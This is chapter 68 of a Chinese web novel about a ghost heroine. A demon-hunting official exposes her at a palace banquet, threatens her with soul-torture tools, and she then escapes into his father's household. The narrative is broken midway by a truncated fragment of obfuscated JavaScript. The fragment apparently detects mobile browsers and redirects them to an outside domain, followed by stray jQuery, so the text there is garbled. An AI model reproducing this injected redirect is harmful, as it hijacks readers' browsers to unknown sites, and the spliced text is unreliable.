68. 住进闵府
作品:《厉鬼,但绑定了功德系统》 见她出神,他低声提醒:“站稳了。”
她回过神,刚一稳住身形,腰间的手便松开了。
他脱下自己的外袍,玄色衣料带着松香冷冽的气息,从她头顶披下,将她裸露的肩头与撕裂的舞衣严严实实地裹住。
而后他未再看她一眼,只自然地伸手搂住她的肩,力道沉稳、步伐坚定,带她走向自己的坐席。
殿内死寂无声,气氛非常诡异。他却自若从容,矜贵落座。
被他半圈在身侧,虽动作亲昵,夏月明却能清晰感受到他身体的僵硬——他并非真的享受这样的亲密接触。
那他为什么宁愿得罪皇帝,也要指她做奖赏?是为了救她吗?
“你……为什么要这样做?”她忍不住侧过头,抬眸望向他,声音压得极低,带着小心翼翼的试探。
他正端起酒盏,对她的问题置若罔闻,只将杯中玉液一饮而尽,才缓缓将视线投向她。
目光深如寒潭,不见一丝温暖。
就在夏月明以为他不会回答时,他竟伸手握住了她放在膝上的手。
她的心蓦然一动。
这突如其来的“温情”让她措手不及,荒谬的念头闪过——难道他真的……
然而,那点微弱的悸动还未成形,下一秒,她的手掌便被他强行合住,随后她全身僵住,张口难言。
她这才后知后觉意识到,他刚刚将一张定身符塞进了她手中。
这意味着,他已经知道自己是鬼了。
夏月明有些绝望,诅咒怎么没告诉她,这个潜伏入宫的小游戏,开的是地狱难度呢?
宴席在一种极度诡异的气氛中继续,每一分每一秒,对夏月明而言都是凌迟。
皇帝阴沉着脸,再未看闵怀恕和夏月明一眼,大臣们噤若寒蝉,连咀嚼吞咽都小心翼翼。唯有闵怀恕一人,泰然自若,优雅地举箸、饮酒。
煎熬终于结束。
皇帝甫一宣布散场,闵怀恕便与众官员一同行了辞别礼,然后打横抱起动弹不得的夏月明,无视周遭无惊骇、鄙夷、探究的目光,大步流星地离开了飞仙阁。
宫门前的夜风带着刺骨的凉意,吹散了身上最后一丝奢靡的酒气。
他将她放下,修长的手指掰开她僵硬的五指,拿走了那张定身符。
禁锢解除的瞬间,夏月明几乎是本能地拔腿就跑。
但很快她的双腿又被他下了禁制,无法行动。
闵怀恕缓缓踱步到她身侧,冰冷的呼吸拂过她的耳廓,低声道:“除祟。”
言毕,他继续走到她面前,将她彻底笼罩在自己的阴影之下。
夏月明瞪着他:“什么?”
“回答你刚才的问题。”闵怀恕淡淡道,“宴席上,你问我为何指名要你。”
未等她应声,他手指翻飞,迅速捏诀。
夏月明知道四下无人,他这是打算杀鬼灭口了,心中最后一点侥幸也粉碎了——他绝非她的守护神。
她急中生智,急声道:“杀了我,七天后谁和你成亲?皇帝知道了,你就是抗旨!”
怀恕嗤笑一声:“弄个傀儡还不简单?”
“我的伙伴就在附近!”夏月明立刻转口,语速飞快:“半个时辰见不到我,他们必会不计后果大闹皇宫,很快,所有人都会知道你向皇上求娶的舞姬是个女鬼……你要如何解释?”
闵怀恕捏诀的动作几不可察地一顿,眼底寒光一闪:“这点威胁,对我无用。”
“真不在意?”夏月明捕捉到了他眼底异色,乘胜追击:“你刚才明明可以当众戳穿我,直接抓住我就行了,但你宁愿得罪皇帝也没有。你不敢让皇帝知道,就在他眼皮底下,就在你缉灵司首座的眼皮底下,在缉灵司号称密不透风的防护下,一个女鬼不仅混了进来,还被他搂在怀里。”
闵怀恕听罢果然沉默了,冰冷的视线在她脸上逡巡,仿佛在重新评估这个猎物。
片刻后,他开口,声音带着一丝探究的冷意:“真是……敏锐得让人意外。”他逼近一步,无形的威压包裹住夏月明,“那么,告诉我,你处心积虑混入皇宫,意欲何为?”
夏月明迎着他的目光,坦白道:“我想去看看那只神兽……它可能和我来自同一个地方。”
“只是看看?”闵怀恕追问。
“目前是。”夏月明坦然道。看完以后要不要带走,还不能确定。
他听出她的意思,眉梢几不可察地动了一下:“你倒是坦诚。”
她深吸一口气:“我不想对你撒谎。”
这句话在冰冷的对峙中,显得格外突兀,却又莫名地掷地有声。
闵怀恕的表情似乎有瞬间的凝滞,但那点微澜转瞬即逝,他依旧是那副冷冰冰的样子。
他再次抱起夏月明,大步向宫门外走去。
夏月明靠在他怀里,心中忐忑:他这是……被自己说服了?打算放过自己了?
刚生出一丝庆幸,就见他抱着她走出宫门后,故意在显眼处停留了片刻。
月光如水,清晰地映照出玄衣冷面的俊美公子,怀抱着一个衣衫略显凌乱、容貌妖冶的舞女。那画面极具冲击力,引得路过官员频频侧目。
他如此刻意的招摇,令夏月明心觉不妙。
果然,下一秒,藏在暗处的小白和小草冲了出来。
“姥姥!”
“主人!”
夏月明扭头看向熟悉的伙伴,嘶声大喊:“快走!别管我!是陷阱!”
但已晚了,守在宫门外的缉灵司巡防队已出动,无法动弹的夏月明只能眼睁睁看着小白和小草被数个缉灵司高手拦截,狂暴的鬼气与凌厉的灵光瞬间在宫门前猛烈碰撞。
“卑鄙!”夏月明愤怒地骂了声。
闵怀恕看也未看身后战况,抱着被下了禁制的夏月明,径直走向一辆等候在旁的黑色马车,将她塞了进去。
车帘落下,隔绝了外界的一切信息,只余下车轮碾过石板路的单调声响,以及身边男人身上传来的、寒意逼人的气息。
马车驶入一座带着肃杀气息的别院,闵怀恕抱着夏月明,穿过幽深曲折的回廊,来到后院一处小山洞。
推开沉重的石门,一股混合着陈旧血腥与特殊药草的铁锈味扑面而来。
昏暗的房间里,墙壁上挂着、地上摆放着各种奇形怪状的刑具——锁魂链、镇魂钉、炼魂灯……每一件都让鬼不寒而栗。
夏月明被贴着一张定身符,坐在中心的木椅上,一身红舞衣半褪。
闵怀恕居高临下地看着她,冷声问:“京城重地,魂体不稳的小鬼竟也敢闯?说,你是如何藏住鬼气的?”
夏月明垂眸,咬紧牙关,一语不发。
他凝视她片刻,似乎轻叹了一声,像是面对一份麻烦的公文,不得不处理,又略感疲惫。
他转身踱到墙边的刑具案前,修长的手指缓缓拂过一件件狰狞的刑具,最终选择了最简单粗暴的一种——噬魂钳。
钳子足有一臂长,通体乌黑,钳口倒刺密布,看着很是渗人。
他低头端详片刻,才慢悠悠转身走向夏月明,缓缓俯身,将钳口悬在她锁骨与颈项之间,倒刺几乎擦过她苍白的皮肤,声音低缓道:“这里,咽喉下三寸,三成小鬼在脖颈缴断前,尚能言语。”
钳尖贴着她的皮肤再上移,轻轻托起她的下颌,像在挑逗,又像在校准:“这里,舌根下,四成小鬼愿意开口,余下的,开不了口。”
他看着她眼底的惊惶,却没有丝毫怜悯,反而貌似认真地与她探讨:“从哪里开始,你会比较愿意开口?”
摇曳的灯火在他侧脸勾勒出分明的冷影,他眉目如刃,半垂着的眼眸在微光中,透出一种说不清的冷酷与疲惫。
便在他等不到回答,准备动手的前一刻,一团浓郁到化不开的黑气从夏月明眉心汹涌而出,瞬间凝聚成一个扭曲狰狞的鬼脸,正是诅咒。
它猛地探出爪,狠狠揭下贴在夏月明额头的定身符箓,撕成碎片,挑衅地看着闵怀恕。
魂体自由的瞬间,夏月明想也不想,起身朝着门口逃去。
“刑讯逼供这方面不太在行啊小子,让爷爷来教教你!”诅咒说着便咆哮着,带着滔天怨气扑向闵怀恕。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881911|176169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>闵怀恕反应极快,侧身闪过诅咒的攻击,新奇道:“微弱的魂体里,竟藏着这样的怪物?”
诅咒张口就骂:“你才怪物!爷爷现在就让你知道,什么是真正的怪物!”
说着再次扑向闵怀恕,这次他没躲,反手一掌拍出,蕴含着强大灵力的掌风直接将诅咒打得倒飞出去,撞在墙上,黑色实体散成一滩,显然完全不是他的对手。
待闵怀恕冲出去追夏月明时,诅咒也因离夏月明超过二十米,被强制收回了她的魂体中。
夏月明一路跌跌撞撞逃到院中,一道沉稳的中年身影恰好挡在了她的必经之路上。来人一身锦袍,气度威严,身后跟着数名气息内敛的执事。
闵怀恕随后而至,看到男人,冷峻的眉头瞬间紧锁。
“父亲。”他略一拱手,语气漠然。
来人正是闵怀恕的父亲,闵国公闵珩。
他脸色铁青,显然是听闻了宫宴上的荒唐事,气冲冲赶来兴师问罪的。一进门就看到这混乱的一幕,更是怒火中烧。
都说他把那舞女带来了别院,看装扮,猜测面前妆容艳丽、狼狈不堪的女人就是了。
“逆子!”闵珩怒喝,目光扫过衣衫不整、惊惶未定的夏月明,然后死死盯住儿子,“你宁愿背上大逆不道的罪名也要跟皇上抢女人,现在这又是唱的哪一出?
怀恕抿紧唇,没有回答。
夏月明心念急转,知道此刻暴露身份必死无疑,求生本能令她豁出去了。
她瞬间戏精附体,学着电视剧里的腔调,一把抓住闵珩的衣袖,带着哭腔,哀婉凄切:“大人救命啊!都是妾身的错,是妾身说了不该说的话,惹得相公……不,惹得公子他动怒……”她刻意将“相公”二字叫得婉转,又慌忙改口,显得委屈又惶恐,“公子他……他一时气急,才带妾身来这里……妾身好怕……”她身体微微颤抖,袖子胡乱擦着并不存在的眼泪,将一个被吓坏的、唯恐被夫君责罚的小女子演得十分夸张。
闵怀恕有些看呆了,显然没料到她会来这出。
闵珩看着夏月明那张妖媚的脸就气不打一处来,狠狠瞪了她一眼,又转向闵怀恕,厉声道:“事已至此,圣旨不可违抗!婚是你自己求来的,现在闹得满城风雨,人尽皆知,我不管你究竟有何缘由,七日后,都必须把这婚给本分地成了!否则,我闵家列祖列宗的脸面,都要被你丢尽了!”他气得拂袖,转身欲走。
夏月明深知闵珩一走,他儿子就算把自己灰飞烟灭,然后换一个人去成亲都没问题。
决不能和他独处!
电光石火间,她猛地扑倒在地,一把拽住闵珩衣袖,放声大哭:“大人救命啊!公子他……他因妾身出身卑微,心中积怨,方才正要用那些可怕的刑具惩戒妾身!您去看看那满屋子的东西……妾身卑微,身上添点伤痕被旁人看到也就罢了,可妾身身子骨弱,万一公子他一时失手,让妾身一命呜呼……七日后的大婚可怎么办?陛下那里又该如何交代啊大人!呜呜呜……”
她哭得虽假,但其中透露的求生欲确实情真意切,而且句句戳在闵珩最在意的“圣旨”和“颜面”上。
他虽厌恶此女,但她若真在婚前死在儿子手里,那才是天大的祸事!闵家就彻底完了!
关键是……他儿子这几年性情大变,还真什么事都做得出来。
他脸色变幻数次,最终狠狠一跺脚,对着身侧仆人喝道:“把这……把她带回府上。”
两名护卫立刻应下,夏月明总算松了口气。
便在这时,一直沉默看她演戏的闵怀恕开了口,冷声道:“慢着。”
夏月明被他吓得一哆嗦,连忙缩到闵珩身后,此举令闵珩更是烦躁。
“怎么?”他猛然转身,眼中怒火几乎要喷出来,“你真要忤逆不孝,连你父亲的话都不听了?!我闵家世代忠良,怎会除了你这般胡作非为,辱没门楣之徒?!”
他搬出了闵家列祖列宗,声色俱厉。
闵怀恕却似习惯了一般,无甚反应。
他的目光在夏月明脸上停留了一瞬,缓缓道:“这几日,我回家里住。”